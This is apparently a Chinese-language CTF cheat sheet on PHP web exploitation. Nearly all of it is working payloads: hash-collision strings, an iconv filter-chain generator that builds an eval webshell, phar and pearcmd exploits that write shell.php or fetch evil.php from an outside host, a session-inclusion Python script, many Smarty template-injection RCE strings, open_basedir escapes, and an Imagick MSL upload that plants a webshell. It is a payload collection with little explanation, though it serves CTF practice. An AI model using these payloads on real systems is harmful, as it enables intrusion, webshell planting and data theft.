php Tricks preg_match() 换行绕过 对单行匹配的开头或结尾使用 %0a 绕过。
数组绕过 只能处理字符串,当传入的subject是数组时会返回false。
回溯上限绕过 回溯次数默认为1000000,如果回溯次数超过这个数字,preg_match会返回 false。\
/e代码执行(PHP<7)preg_replace() /e代码执行漏洞-CSDN博客
1 preg_replace ("/please_give_me_flag/ei" ,$_POST ['task' ],$_POST ['flag' ]);
1 task=$_POST [1 ]($_POST [2 ]);&flag=Please_give_me_flag&1 =system&2 =tac /f*
md5/sh1绕过 弱比较 两个字符串想当作科学计数法比较时 0e 后必须为纯数字。
一次md5
两次md5
1 2 3 4 ytl8J61NmcUGzwq r8qcz79YWDuD2 JfuHrIeEKwz3j xAF5pSE7u
一次sha1 1 2 3 aaK1STfY aaO8zKZF aa3OFF9m
数组绕过 md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
强碰撞 md5 [安洵杯 2019]easy_web
1 2 $a1 ="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2" ;$a2 ="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2" ;
sha1 1 2 3 4 <?php $a ="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1" ;$b ="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1" ;
反序列化 “整数” 和 “字符” 互化 [CISCN 2023 华北]ez_date
1 2 3 4 5 6 class date { public $a =1 ; public $b ="1" ; public $file ="/f\l\a\g" ; } echo base64_encode (serialize (new date ()));
create_function 代码注入 1 2 3 4 5 }system ('tac /flag' ); function lambda_1 ( ) {}system ('tac /flag' );
匿名函数 1 2 $func = create_function ("" ,"die('end.');" );$func = "%00lambda_89"
后面的数字是在服务器自增的,除非结束php的进程,刷新网页仍会继续计数。
CVE-2024-2961(cnext) 影响版本:(PHP 7.0.0 (2015) 到 8.3.7 (2024))
从任意文件读到RCE(非交互式的改良版脚本) GitHub - kezibei/php-filter-iconv
下载 maps 和 libc(用 maps 看 libc 的名字 ),注意一定要用 b64 encode,然后解码保存,否则可能出错。修改一下 python 文件里的对应文件路径和bash命令,打码之后 502 属于正常情况。
include RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php $base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4" ; $conversions = array ('/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' ,'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' ,'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' ,'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921' ,'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE' ,'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ,'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE' ,'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2' ,'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' ,'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' ,'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' ,'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' ,'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' ,'C' => 'convert.iconv.UTF8.CSISO2022KR' ,'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' ,'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT' ,'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB' ,'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90' ,'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213' ,'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213' ,'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4' ,'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE' ,'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC' ,'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T' ,'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4' ,'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775' ,'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' ,'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2' ,'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4' ,'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS' ,'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103' ,'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' ,'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB' ,'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' ,'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932' ,'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361' ,'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' ,'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' ,'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE' ,'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2' ,'d' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' ,'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937' ,'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' ,'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' ,'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE' ,'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000' ,'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16' ,'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2' ,'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE' ,'m' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949' ,'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61' ,'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE' ,'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4' ,'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2' ,'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101' ,'s' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90' ,'t' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS' ,'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61' ,'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932' ,'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE' ,'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS' ,'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT' ,'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' ,); $filters = "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;foreach (str_split (strrev ($base64_payload )) as $c ) {$filters .= $conversions [$c ] . "|" ;$filters .= "convert.base64-decode|" ;$filters .= "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;} $filters .= "convert.base64-decode" ;$final_payload = "php://filter/{$filters} /resource=index.php" ;echo $final_payload ;
构造任意内容 synacktiv/php_filter_chain_generator
1 2 3 4 python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>' http://target.com/vulnerable.php?file=php://filter/生成的过滤器链/resource=php://temp python3 php_filter_chain_generator.py --chain 'GIF89a'
从文件操作函数到任意文件读 github.com/synacktiv/php_filter_chains_oracle_exploit
1 python filters_chain_oracle_exploit.py --target http://xx/xx.php --file '/var/www/html/file_u_want_to_read.php' --parameter 参数名
死亡 exit 介绍一个过滤器:
对于HTML来说,它会去除标签保留标签之间的内容。
但只有左 < 没有右 > 的后面一律全部杀。
对于php来说,全杀一个不显示。
非同名 1 2 3 4 5 6 7 8 ?filename=php: 先用 strip 去掉 php 代码 然后再用 base64-encode 来解码我们的 webshell ?filename=php: 这个payload 也可以绕过死亡 exit ,PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 是正常的 b64编码后的 webshell,前面a字母和死亡exit 中除了特殊字符外的phpexit组成 8 个 byte,从而绕过
同名 1 2 3 4 5 6 7 8 9 10 11 php: php: php: 这里 strip_tags 是为了去掉 等号 否则 b64 解码可能到等号就停止了,这样加个 ?> 闭合 然后用 strip_tags 都去掉 php代码,最后留下的就是正经的 这里构造虚拟目录然后再退出,目的就是让文件可读可访问,要不然全是特殊字符。 php:
include文件包含 file://localhost/xxx = /xxx
日志包含 URL:?x=/var/log/nginx/access.log
修改 User-Agent 为 <?php highlight_file('xxx.php'); ?>
有后缀绕过 ?c=data:text/plain,<?php system('ls')?>
?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4
?c=data:,<?php system('ls')?>
phar => RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $phar = new Phar ('rce.phar' );$phar ->startBuffering ();$stub = <<<'STUB' <?php system('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php'); __HALT_COMPILER(); ?> STUB ;$phar ->setStub ($stub );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();?>
通过 gzip 压缩绕过检测
通过改名绕过检测 只要名字中包含子串 .phar 就行,不要求一定是后缀。
这里特指 include,如果其他操作函数需要带上 phar://,这时不要求任意文件名,并且所有的 phar 都可以压缩。
zip/phar协议包含压缩包 1 2 3 4 5 include ("zip://php.zip#php.jpg" );include ("phar://phar.zip/php.jpg" );include ("compress.zlib://phar://phar.phar/test.txt" );
pearcmd/peclcmd 包含 使用条件:
[7.3版本前默认安装]安装了pear扩展(pear 就是一个php扩展及应用的代码仓库,未安装 pear 扩展的话就没有 pear.php 文件可利用)
知道 pearcmd.php 文件的路径
开启了register_argc_argv 选项(只有开启了,$_SERVER[‘argv’] 才会生效。)默认为Off【Docker环境下的PHP会开启】
有包含点,并且能包含php后缀的文件,而且没有 open_basedir 的限制
argc 和 argv 都是用 +(没编码前的,感觉就类似于空格),区分参数的。
1 2 3 4 5 <?php $a =$_GET ['a' ];var_dump ($_SERVER ['argc' ]);var_dump ($_SERVER ['argv' ]);?>
原理就是,当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令。
POST 中传 1=localhost/usr/local/lib/php/pearcmd.php
GET 中传 ?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php
原参数命令:
1 2 3 config-create: must have 2 parameters, root path and filename to save as pear config-create /<?=@eval ($_POST [1]);?> /tmp/leekos.php ?+config-create+/&/<?=@eval ($_POST ['cmd' ]);?>+/var/www/html/shell.php
注意这个必须在 GET 中传才可以哦!
并且,直接url中get传参会把 < 这些字符自动编码,就成功不了,所以用burp抓包再改传参。
常规 exp:
1 2 3 ?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://ip/evil.php (路径:/tmp/pear/download/evil.php) ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[0]);?>+/tmp/hello.php(路径:/tmp/hello.php)
session 文件包含 利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
原理就是 服务器会在tmp目录下按照 sess_ + session 名字存储一个 php序列化后的参数值,那么我们假如给他传一个 file 的同时带上参数 PHP_SESSION_UPLOAD_PROGRESS,他就会记录下这个参数,然后再进行执行就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "https://ce9a3a98-d94d-4fde-82d6-8b3091f110f6.challenge.ctf.show/" data = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST[2]);?>' , '1' : 'localhost/tmp/sess_ctfshow' , '2' : 'system("cat /f*");' } file = { 'file' : 'ctfshow' } cookies = { 'PHPSESSID' : 'ctfshow' } response = requests.post(url=url, data=data, files=file, cookies=cookies) print (response.text)
一些常见的 session 位置
1 2 3 4 5 /var/lib/php5/sess_PHPSESSID /var/lib/php7/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSED
assert()执行代码 assert支持普通调用和动态调用。
普通调用 1 2 <?php assert ($_POST ['a' ]);?>
php<7.0动态调用 1 2 3 4 5 6 7 8 9 10 <?php $a = 'assert' ;$a ($_POST ['a' ]);?> 或 <?php $_GET ['a' ]($_GET ['b' ]);?>
php>7字符串调用 1 2 3 <?php error_reporting (0 );('assert' )('system("whoami")' );
move_uploaded_file
当move_uploaded_file函数参数可控时,可以尝试 /. 绕过,因为该函数会忽略掉文件末尾的 /.,所以可以构造 save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的 /. 可以实现保存文件为 .php。
smarty 模板引擎 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 X-Forwarded-For: {if system ('ls /' )}{/if } X-Forwarded-For: {if system ('tac /f*' )}{/if } X-Forwarded-For: {{system ("ls" )}} (有回显) {$smarty .version} (smarty版本号) {php}phpinfo ();{/php} (废弃) {if phpinfo ()}{/if } {self ::getStreamVariable (“file :///etc/passwd”)} (旧版本) {$s =$smarty .template_object->smarty}{$fp =$smarty .template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile ::writeFile ($fp ,"<?php+phpinfo();" ,$s )} {$smarty .template_object->smarty->disableSecurity ()->display ('string:{system(\'id\')}' )} {function name ='rce ( ) {};system ("id" );function '} {/function } # Smarty3 string : {include file='C:/Windows/win.ini' }string :{function name ='x ( ) {};system (whoami);function '} {/function } # CVE -2021-26119,Smarty =3.1.44/4.1.0 string : {$smarty .template_object->smarty->_getSmartyObj ()->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->enableSecurity ()->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->disableSecurity ()->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->addTemplateDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setTemplateDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->addPluginsDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setPluginsDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setCompileDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setCacheDir ('./x' )->display ('string:{system(whoami)}' )} eval :{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")' }
intval 低版本可以用科学计数法绕 :
1 2 3 _GET["lover" ] = "4e5" intval ($_GET ['lover' ]) < 2023 && intval ($_GET ['lover' ] + 1 ) > 2024
当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
a当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
1 2 3 4 5 if (intval ($key ) < 1 ) { if ($key == 1 ) { die ('Flag is: ' .$flag ); } else print 'key is not right !!!' ; }
key=0.99999999999999999 时候,intval 只考虑整数部分,但是php精度限制又会把它变成 1,绕过弱类型比较。
include_once php源码分析 require_once 绕过不能重复包含文件的限制-安全KER - 安全资讯平台
/proc/self/root = /
putenv()+system() 1 2 3 4 envs[BASH_FUNC_echo%25 %25 ]=()%20 {%20 id;%20 } get[BASH_FUNC_echo%%]=() { cat /f*; } parma[BASH_FUNC_echo ()]=() { id; }
mb_strpos+mb_substr PHP由mb_strpos与mb_substr执行差异导致的小trick - Eddie_Murphy - 博客园
常用于反序列化字符串逃逸。
%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉三位。
变量覆盖
ini_set() 1 ini_set ($name ,$value );` => `name=error_log&value=/var /www/html/out.php
file_get_contents 1 echo file_get_contents ("suibian://www.baidu.com/../../../../../../../etc/passwd" );
用不存在的协议 绕过正则匹配。
parse_url 任意协议都可以解析,可以和上文提到的 file_get_contents 配合绕过。
open_basedir open_basedir绕过 - Von的博客 | Von Blog
限制只能访问某一目录时,但敏感信息在其他根目录或其他子目录。
1 2 3 mkdir ('test' );chdir ('test' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );readgzfile ('/f1ger' );mkdir ('/tmp/test' );chdir ('/tmp/test' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );var_dump (scandir ('/' ));@eval ($_POST [a]); echo 1 ;
高版本通过curl绕过:open_basedir bypass using curl extension · Issue #16802 · php/php-src
basename 返回路径中的文件名部分,会去掉文件名开头的非ASCII值。
1 2 3 4 var_dump (basename ("\xffconfig.php" )); => config.phpvar_dump (basename ("config.php\xff" )); => config.phpbasename ($_SERVER ['PHP_SELF' ]) => 运行中的php文件名字
mb_strtolower PHP: mb_strtolower - Manual
可以处理一些奇奇怪怪的字符,我们可以使用 Unicode 欺骗。
提到了土耳其的字符İ(%c4%b0)。İ经过该函数处理可以变成i。
mt_rand伪随机数 openwall/php_mt_seed: PHP mt_rand() seed cracker
escapeshellcmd(escapeshellarg(x))造成参数注入escapeshellarg/escapeshellcmd造成参数注入 · HacKerQWQ’s Studio
例子:
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
PHP-S <= 7.4.21 任意源码读/服务器代码执行 PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog
1 2 3 4 5 6 7 8 9 GET /s3Cr37_f1L3.php.bak HTTP/1.1 Host : 61.147.171.35:57271POST /bucunzai.php HTTP/1.1 Host : 61.147.171.35:57271Content-Type : application/x-www-form-urlencodedContent-Length : 24admin =system('cat /f*' )
new + 原生类 eval("echo new $a($b);");1 2 3 4 5 6 7 8 $a ="SplFileObject" ;$b ="system('whoami')" ;$a ="Exception" ;$b ="system('whoami')" ;eval ("echo new $a ($b );" );
echo new $a($b);1 2 3 4 5 6 7 8 9 10 11 12 $a ="DirectoryIterator" ;$b ="glob://f*" ;$a ="SplFileObject" ;$b ="1.php" ;$a ="SplFileObject" ;$b ="php://filter/convert.base64-encode/resource=1.php" ;
(new $a($b))->$c($d);1 (new ReflectionFunction ('system' ))->invoke ('whoami' );
(new ($a)($b)->$c())(new ($a)($d)->$c())1 2 3 4 5 6 7 8 9 $error = new Error ("Qwq" );echo $error ->getMessage ();$a = "Error" ;$b = "system" ;$d = "whoami" ;$c = "getMessage" ;(new ($a )($b )->$c ())(new ($a )($d )->$c ());
new $a($b);要求:
需要知道网站的目录(比赛中通常是 /var/www/html 或者 /app 这类);
需要在网站目录下有写权限,当然如果知道类似于upload这种文件夹的路径也可以(因为通常它们是可写的);
最最重要的:需要有装Imagick扩展,该扩展其实不是默认自带的(一定程度上限制了攻击面)。
vps 构造恶意图片:
1 convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv e.png
上传临时文件配合类读入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1 Host : 1.1.1.1:32127Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : closeContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmqTayg6bqr Content-Length : 348------WebKitFormBoundaryeTvfNEmqTayg6bqr Content-Disposition: form-data; name="123"; filename="exec.msl" Content-Type: text/plain <?xml version="1.0" encoding="UTF-8" ?> <image > <read filename ="http://vps:12345/positive.png" /> 利用出网读文件<read filename ="caption:< ?php @eval(@$_REQUEST['a']); ?> " /> 不出网 caption<write filename ="/var/www/html/positive.php" /> </image > ------WebKitFormBoundaryeTvfNEmqTayg6bqr--
php伪协议 filter 常见filter大全 wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
底层分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php echo file_get_contents ("php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess" ).PHP_EOL; echo file_get_contents ("php://filter/resource=a/convert.base64-decode/../../a.txt" ).PHP_EOL;echo file_get_contents ("php://filter/resource=a/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65/../../a.txt" ).PHP_EOL;echo file_get_contents ("php://filter/resource=data:,2024<|string.strip_tags|/resource=/dev/null" ).PHP_EOL;echo file_get_contents ("data:/localhost;base64,MjAyNA==" );
对于 filter 的获取,先获取到 php://filter ,然后指针向后挪动一位,(如果存在 write= 或 read= 再往后推5或6个指针,当然如果不写也没问题,PHP会自己判断),后面所有的都在 filter 协议考虑范围内:用 “/“ 进行分割(如果存在多个再按照 “|” 分割),并进行一步 Urldecode ,如果协议存在按照顺序调用,如果不存在的直接略过。 对于 resource 的获取,获取到第一个 resource= 字样后,后面都是他的文件路径,这里文件路径支持 目录穿越 。
其他伪协议表
协议
主要用途
allow_url_fopen 与 allow_url_include 要求
file://
访问本地文件系统
都不需要
php://filter
文件内容过滤与编码转换
都不需要
php://input
读取原始POST数据
allow_url_fopen:不需要 allow_url_include:需要 (仅当被include等函数包含时)
php://memory/temp
内存或临时文件数据流
都不需要
data://
数据流封装(Data URI)
两者都需要
http://
HTTP协议远程资源访问
两者都需要
https://
HTTPS协议远程资源访问
两者都需要
zip://
读取ZIP压缩包内文件
都不需要
phar://
PHAR归档文件访问
都不需要
glob://
文件路径模式匹配查找
都不需要
php 常见的语言结构 控制结构:if, else, while, for, foreach, switch, do
输出:echo, print
包含文件:include, include_once, require, require_once
变量处理:isset, unset, empty
